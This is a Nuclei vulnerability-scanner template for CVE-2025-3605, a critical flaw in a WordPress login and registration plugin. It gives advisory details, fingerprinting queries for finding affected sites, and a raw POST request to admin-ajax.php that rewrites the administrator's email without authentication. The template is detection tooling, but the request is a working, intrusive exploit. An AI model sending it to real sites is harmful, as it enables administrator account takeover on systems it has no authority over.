id: CVE-2025-3605

info:
  name: WordPress Frontend Login and Registration Blocks Plugin 1.0.7 - Privilege Escalation
  author: beginee
  severity: critical
  description: |
    Privilege escalation vulnerability exists in the Frontend Login and Registration Blocks plugin for WordPress (versions <= 1.0.7). An unauthenticated attacker can exploit the AJAX endpoint flr_blocks_user_settings_handle_ajax_callback() to change the administrator's email address. Subsequently, the attacker can use the "Forgot Password" feature to reset the administrator's password, thereby gaining unauthorized access to the admin account.
  impact: |
    Unauthenticated attackers can change administrator email addresses through the AJAX endpoint, enabling password reset attacks and complete admin account takeover.
  remediation: |
    Upgrade WordPress Frontend Login and Registration Blocks plugin to version 1.0.8 or later that properly restricts user settings updates.
  reference:
    - https://wordpress.org/plugins/frontend-login-and-registration-blocks/
    - https://github.com/GadaLuBau1337/CVE-2025-3605/tree/main
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3605
    - https://plugins.trac.wordpress.org/browser/frontend-login-and-registration-blocks/trunk/inc/class-flr-blocks-user-settings.php#L59
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0c11668c-6dc3-4539-b2be-bf6528bed73e?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-3605
    cwe-id: CWE-639
    epss-score: 0.06441
    epss-percentile: 0.92839
    cpe: cpe:2.3:a:wordpress:frontend_login_and_registration_blocks:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/frontend-login-and-registration-blocks/"
    publicwww-query: "/wp-content/plugins/frontend-login-and-registration-blocks/"
  tags: cve,cve2025,wp,wp-plugin,wordpress,frontend-login-and-registration-blocks,intrusive,vkev,vuln

variables:
  userid: "1"
  email: "{{rand_base(7)}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=flrblocksusersettingsupdatehandle&user_id={{userid}}&flr-blocks-email-update={{email}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'status":true'
          - 'Operation has been completed successfully'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - 'email'
# digest: 4b0a00483046022100b414868960c1bd0d68035e0d63dde048fd65cd3af85903015091826961933c95022100eaa8f6510e20e9174bbc39a19355da5f71ce0433c72047e8fa68ad49c994ddbc:922c64590222798bb761d5b6d8e72950